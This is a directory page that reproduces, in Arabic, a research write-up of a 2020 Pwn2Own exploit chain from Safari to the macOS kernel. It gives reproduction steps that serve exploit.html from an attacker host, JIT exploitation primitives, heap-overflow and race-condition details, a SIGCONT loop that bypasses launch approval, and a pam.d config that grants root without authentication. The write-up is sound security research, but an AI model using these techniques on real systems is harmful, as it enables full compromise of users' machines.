Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pwn2own2020 — اختراق نواة macOS عبر Safari من خلال ربط ست ثغرات أمنية | Kitploit
أدوات/GitHubGitHub/sslab-gatech/pwn2own2020
تصعيد الامتيازاتالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتاستغلال الملفات الثنائية
GitHubsslab-gatech/pwn2own2020

pwn2own2020

اختراق نواة macOS عبر Safari من خلال ربط ست ثغرات أمنية

عرض المستودع
414583منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

اختراق نواة macOS عبر Safari من خلال ربط ست ثغرات أمنية

نظرة عامة

يحتوي هذا المستودع على تفاصيل الاستغلال والتقنية لـإرسالنا الفائز في Pwn2Own 2020 الذي يستهدف Apple Safari مع تصعيد صلاحيات النواة لنظام macOS 10.15.3. لمزيد من المعلومات، يمكنك أيضًا الاطلاع على شرائح Blackhat USA 2020 الخاصة بنا والفيديو. يتضمن هذا المستودع أيضًا الفيديو التجريبي الخاص بنا للاستغلال الناجح.

كيفية إعادة الإنتاج

  1. شغّل خادم HTTP باستخدام python3 في مجلد exploits.```shell $ python3 -m http.server 80
root@kitploit:~
2. قم بالوصول إلى الموقع الإلكتروني باستخدام عنوان IP الخاص بخادم المهاجم عبر Safari:```
http://[attacker_ip]/exploit.html
  1. انتظر ظهور الحاسبة (عادةً ما تظهر خلال عشر ثوانٍ، لكن إذا لم يحالفك الحظ، فسيستغرق الأمر بعض الوقت) وطرفية بامتياز النواة. ولإظهار تصعيد امتياز النواة الخاص بنا، قمنا بتعطيل SIP. يمكنك التحقق عن طريق تشغيل أمر csrutil status، والذي سيعرض disabled.

البناء من المصدر

من أجل راحتك، وفرنا حمولة مُجمَّعة، payload.js. ولكن، إذا أردت، يمكنك بناؤها بنفسك. لاحظ أن هذا سيستغرق وقتًا طويلاً جدًا لأننا سنبني WebKit كجزء من سلسلة استغلالنا. ومن الجدير بالذكر أننا اختبرنا عملية البناء فقط على نظام Mac OS.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
التفاصيل التقنية
-----------------

لإنشاء هذا الاستغلال، قمنا بتسلسل الثغرات *الست* التالية.

### 1. تنفيذ التعليمات البرمجية عن بُعد في Safari عبر نمذجة غير صحيحة للتأثير الجانبي لمشغّل 'in' في مترجم DFG في JavaScriptCore

- تحليل السبب الجذري

في JavaScriptCore، عندما يتم الاستعلام عن خاصية مفهرسة باستخدام مشغّل 'in'، يفترض مترجم DFG أنها خالية من التأثيرات الجانبية ما لم يكن هناك كائن proxy في سلسلة النماذج الأولية يمكنه اعتراض هذه العملية. يضع JavaScriptCore علامة على الكائن الذي يمكنه اعتراض هذا الوصول إلى الخاصية المفهرسة باستخدام علم يُسمى 'MayHaveIndexedAccessors'. يتم وضع هذه العلامة بشكل صريح لكائن Proxy.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

ومع ذلك، هناك كائن آخر يمكن أن يسبب تأثيرًا جانبيًا: JSHTMLEmbedElement الذي يطبّق أسلوب getOwnPropertySlot() الخاص به. إحدى الطرق لتحفيز استدعاءات JavaScript (أي التأثيرات الجانبية) باستخدام عامل التشغيل 'in' هي استخدام عنصر <embed> مع مكوّن PDF الإضافي؛ فعند الاستعلام عن أي خاصية على كائن DOM لعنصر embed / object، يحاول تحميل المكوّن الإضافي الخلفي و يمكن استدعاء معالج حدث DOMSubtreeModified في حالة مكوّن PDF الإضافي لأنه يستخدم أسلوب appendChild على عنصر body.

هذه هي تتبّع المكدس لاستدعاء التأثير الجانبي من getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
بما أن أي كائنات في سلسلة النماذج الأولية غير مُعلَّمة بـ
"MayHaveIndexedAccessors"، يفترض JIT أن استخدام عامل التشغيل 'in' هذا لا
يحتوي على أي انتقالات في الداخل مما يلغي فحوصات نوع المصفوفة بعد
الانتقال.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

من خلال بناء بدائية addrof/fakeobj من هذا، يمكننا إنشاء بدائية قراءة/كتابة عشوائية للحصول على تنفيذ كود باستخدام دالة جافاسكريبت المُجمَّعة عبر JIT.

  • الاستغلال

بعد الحصول على بدائيات addrof/fakeobj، نقوم بتحويلها إلى بدائيات addrof/fakeobj أكثر استقرارًا عن طريق تزييف كائن.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
نقوم بتسريب معرّف البنية (structure id) للكائن hostObj عن طريق إنشاء كائن دالة مزيف
fakeHostObj واستدعاء Function.prototype.toString عليه. يعكس اسم الدالة قيمة
معرّف البنية كسلسلة UTF-16. نقوم بتحديث hostObj بعد تسريب معرّف البنية.
ومن الجدير بالذكر أن هذه التقنية مأخوذة من [محاضرة Yong Wang في Blackhat
EU 2019](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

الآن لدينا butterfly الخاص بـ fakeHostObj يشير إلى fakeHostObj نفسه. يمكننا استخدام بدائية addrof/fakeobj دون إعادة تشغيل الثغرة مرة أخرى لأننا نستطيع الوصول إلى hostObj.o كـ JSValue أو كـ double باستخدام fakeHostObj[2].

باستخدام معرف البنية المسرَّب الخاص بـ attackObj وبدائية addrof/fakeobj، يمكننا صياغة كائنات مثل ما يلي.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
يمكننا الحصول على بدائية قراءة/كتابة عشوائية (arbitrary RW primitive) باستخدام fakeRwObj لتحديث مؤشر الفراشة (butterfly pointer) الخاص بـ fakeInnerObj والقراءة/الكتابة من/إلى fakeInnerObj. للحصول على تنفيذ تعليمات برمجية عن بُعد (RCE) من بدائية القراءة/الكتابة العشوائية، نقوم بتشغيل ترجمة JIT للدالة dummy، ثم نسرّب عنوان الكود، ونستبدله بـ shellcode الخاص بنا. في بعض الأحيان، يفشل تسريب عنوان الكود لأننا لا نستطيع قراءة/كتابة قيم معينة من المصفوفة الوهمية لدينا. في هذه الحالة، نحاول تقريبه عن طريق القراءة من موقع المؤشر + 1 وإزاحة القيمة المقروءة. أخيرًا، نستبدل مؤشر الكود الخاص بدالة alert بمؤشر كود الدالة dummy ونستدعيها (مع بعض الوسائط) لتنفيذ الـ shellcode.


### 2. إطلاق تعسفي لتطبيق .app في Safari عبر رابط رمزي في didFailProvisionalLoad()

بالنسبة لرابط file://، يفتح Safari نافذة Finder عبر [NSWorkspace selectFile:inFileViewerRootedAtPath:].

تقبل هذه الدالة معاملين، وفي معظم الحالات، يستخدم Safari المعامل الأول فقط، الذي يعرض المجلد الحاوي للملف المحدد. لكن إذا تم استخدام المعامل الثاني بدلاً من ذلك، يقوم Finder بتشغيل الملف إذا كان قابلاً للتنفيذ أو حزمة تطبيق (app bundle).

يستخدم Safari المعامل الثاني بعد التأكد من أن المسار المُشار إليه ليس حزمة تطبيق --- أي دليلًا بامتداد .app. وبما أن الرابط الرمزي يمكن أن يشير إلى حزمة التطبيق، لكنه ليس دليلًا بامتداد .app. وبالتالي، سيشغّل Safari التطبيق الذي يشير إليه الرابط الرمزي. يمكن تشغيل هذا المسار البرمجي عن طريق إرسال رسالة IPC الخاصة بـ didFailProvisionalLoad().

ومع ذلك، لا يمكن لـ Safari نفسه إنشاء رابط رمزي بسبب مرشح استدعاءات النظام في صندوق الحماية Seatbelt. لذلك نستخدم ثغرة أخرى تمنح صلاحيات root، لكن تنفيذ كود داخل الصندوق (sandboxed code execution).


### 3. تنفيذ تعسفي للكود في خدمة CVM (Core Virtual Machine) عبر تجاوز سعة الكومة (heap overflow)

توجد خدمة XPC معزولة باسم com.apple.cvmsServ (أي CVMServer)، والتي تقوم بتجميع الـ shader لعدة بنى معمارية. وهي جزء من إطار عمل OpenGL المدمج.

بالنسبة للطلبات التي يحتوي حقل "message" فيها على القيمة 4، يقوم CVMServer بتحليل "framework data" و "maps" المحددة من قبل المستخدم. يقع ملف بيانات "maps" في "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - أول %s يحدده المستخدم دون أي فلاتر. لذا فإن اجتياز الدليل (directory traversal) ممكن؛ يمكننا جعله يحلل الملف الذي تم إنشاؤه داخل صندوق حماية Safari.```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

إذا كانت item_count * 56 + items_offset <= 0x50، فستستقبل fread() طولًا بقيمة underflow قريبة من 2^64، وبالتالي يتحول إلى تجاوز في الكومة (heap overflow) بحمولة ذات طول تعسفي. لاحظ أن fread() تتوقف عند بلوغ نهاية الملف المحدد.

من خلال استغلال هذا، يمكننا الكتابة فوق كائن الكومة المرتبط بالاتصال، مما قد يتيح تعديل المؤشرات المذكورة أدناه:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
إذا كانت قيمة "port" هي 0x103 (TASK-SELF)، فستمنح الخدمة للعميل حق
الإرسال لمنفذ مهمة CVMServer، والذي يمكن استخدامه لتخصيص الذاكرة، و
تنفيذ كود تعسفي على العملية. لجعل v8[index].port == 0x103، قمنا
بالبحث في الذاكرة في منطقة المكتبات، التي لها نفس العناوين عبر
العمليات.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

كانت هناك مناطق عديدة تحتوي على قيمتين صحيحتين 64-بت 0 و -1، وبالنسبة إلى rax+0x38 و X+0x30، وجدنا أن _xpc_error_termination_imminent، وهو رمز عام، يحقق هذا الشرط. وبما أن الطول أكبر من 2^64 / 0x10، تمكنا من حساب المعكوس النمطي للإشارة إلى Y(==0)*0x18+index+0x10 == &0x103.

وبما أن CVMServer كان لديه com.apple.security.cs.allow-jit مضبوطًا، تمكنا من استدعاء mmap مع علم MAP_JIT وتشغيل المحمّل الانعكاسي الخاص بنا لتنفيذ ملفات dylib على العملية. قمنا بتشغيل هذا الكود على CVMServer:```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
بعد إنشاء %lu.app والرابط الرمزي my.app، عدنا إلى Safari وأرسلنا رسالة IPC لفتح التطبيق. ولكن كانت هناك حمايتان إضافيتان: فحص العزل (quarantine) وفحص فتح التطبيق لأول مرة.

### 4. تجاوز حماية macOS لتشغيل التطبيق لأول مرة

إذا حاول Safari تشغيل تطبيق لأول مرة، فإنه يرفض تنفيذه إذا كان الملف يحمل سمة تسمى com.apple.quarantine، أو ينتظر تأكيد المستخدم. جميع الملفات التي ينشئها WebProcess تحمل السمة --- com.apple.quarantine، لكن يمكننا بالفعل تجاوز هذا لأننا أنشأنا المجلد في عملية CVMServer وليس في WebProcess. من أجل تأكيد المستخدم، يقوم macOS أولاً بإنشاء العملية وتعليقها، ثم يستأنف العملية بعد أن ينقر المستخدم على زر `Open`. لكن إرسال إشارة SIGCONT عمل بنفس طريقة النقر على الزر.

وهكذا، قمنا بتشغيل هذا الكود بشكل مستمر في CVMServer بعد إنشاء my.app:```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. تصعيد صلاحيات الجذر في cfprefsd عبر تعديل صلاحيات ملف / مجلد تعسفي ناتج عن حالة سباق (race condition)

cfprefsd هو خدمة XPC أخرى تسمح للمستخدم بإنشاء ملف plist. وهي تقع في CoreFoundation ويمكن الوصول إليها من معظم العمليات غير المعزولة (unsandboxed). وبما أننا حصلنا بالفعل على صلاحية غير معزولة لمستخدم عادي (أي CVMServer)، يمكننا أن نطلب منها إنشاء ملف plist إذا كان المجلد والملف الهدف يملكان بتات صلاحيات كافية تسمح لمستخدم العميل بالكتابة إلى الملف. ومع ذلك، إذا لم يكن المجلد موجودًا، فإنها تنشئ مجلد ملف plist بشكل متكرر (recursively).

فيما يلي مقتطف كود من CVMServer يقوم بإنشاء المجلد.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
ولكن إذا كان المسار يشير إلى دليل قابل للكتابة من قبل المستخدم، يمكن للمستخدم استبدال الدليل المشار إليه بواسطة `cur`، واستبداله برابط رمزي إلى ملف/مجلد عشوائي. وبما أن cfprefsd يتمتع بصلاحيات الجذر، فمن الممكن تغيير مالك المجلدات مثل /etc/pam.d. ومن خلال تغيير مالك /etc/pam.d، يمكننا كتابة /etc/pam.d/login بالمحتوى التالي:```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

بعدها سيمنح أمر login root المستخدم root shell دون أي مصادقة.

6. تصعيد صلاحيات النواة عبر تجاوز مرحلة تخزين الوحدات وحالة السباق في kextload

kextload هو أحد البرامج التي يمكنها تنفيذ عمليات kext (Kernel Extension) في macOS. من خلال تشغيل kextload [path of .kext folder]، يمكن لمستخدم root تحميل kext موقّع من وضع المستخدم. لمنع kexts غير الموقّعة أو الموقّعة بشكل غير صالح، يضع kextload callback 'authenticator' في حزمة IOKitUser. لسوء الحظ، مسار الـ kext هو المورد الوحيد المتاح للـ callback، وحالة السباق يصعب منعها. للتخفيف من ذلك، ينسخ kextload أولاً مجلد الـ kext إلى المساحة المخصصة -- /Library/StagedExtensions --- والتي لا يمكن تعديلها حتى بصلاحيات root بفضل SIP وآلية الامتيازات.

يعمل kextload كما يلي. إذا قمنا بتنفيذ kextload /tmp/A.kext، فإن kextload ينسخ مجلد الـ kext الأصلي إلى /Library/StagedExtensions/tmp/[UUID].kext. بعد ذلك، يتحقق kextload من تواقيع جميع الملفات في المجلد. إذا فشل ذلك، فإنه يحذف المجلد. بخلاف ذلك، ينسخ المجلد إلى /Library/StagedExtensions/tmp/A.kext ويحمّل هذه الوحدة.```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
إحدى المشكلات في kextload هي أن هذه العملية يمكن إنهاؤها بواسطة مستخدم يتمتع بصلاحيات الجذر. ومن الجدير بالذكر أن النسخة المذكورة أعلاه تتضمن رابطًا رمزيًا، سيتم التحقق منه لاحقًا. ومع ذلك، إذا قمنا بقتل عملية kextload قبل التحقق، يمكننا الحفاظ على kext غير صالح يحتوي على رابط رمزي في /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

بعد ذلك، إذا قمنا بتنفيذ أمر kextload آخر مع kextload /tmp/[UUID].kext/symlink/B.kext، سيتم نسخ B.kext إلى الموقع القابل للكتابة لمستخدم بصلاحيات الجذر (على سبيل المثال، /tmp/[UUID'].kext)``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
بعد النسخ، يتحقق kextload مما إذا كان موجودًا في موقع آمن، وهو `/Library/StagedExtensions/*`. يمكننا وضع الرابط الرمزي مؤقتًا في /tmp/A.kext للإشارة إلى /Library/StagedExtensions/[مسار kext صالح]. بعد التحقق، يمكننا استبدال ملف الوحدة النمطية الثنائي بوحدة نواة غير موقّعة للحصول على تنفيذ كود في النواة.

لجعل السباق موثوقًا، استخدمنا sandbox-exec لإيقاف البرنامج عند الوصول إلى الملف باللاحقة المحددة.

المؤلفون
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

الاستشهاد
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

المراجع

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
تنزيل الأداة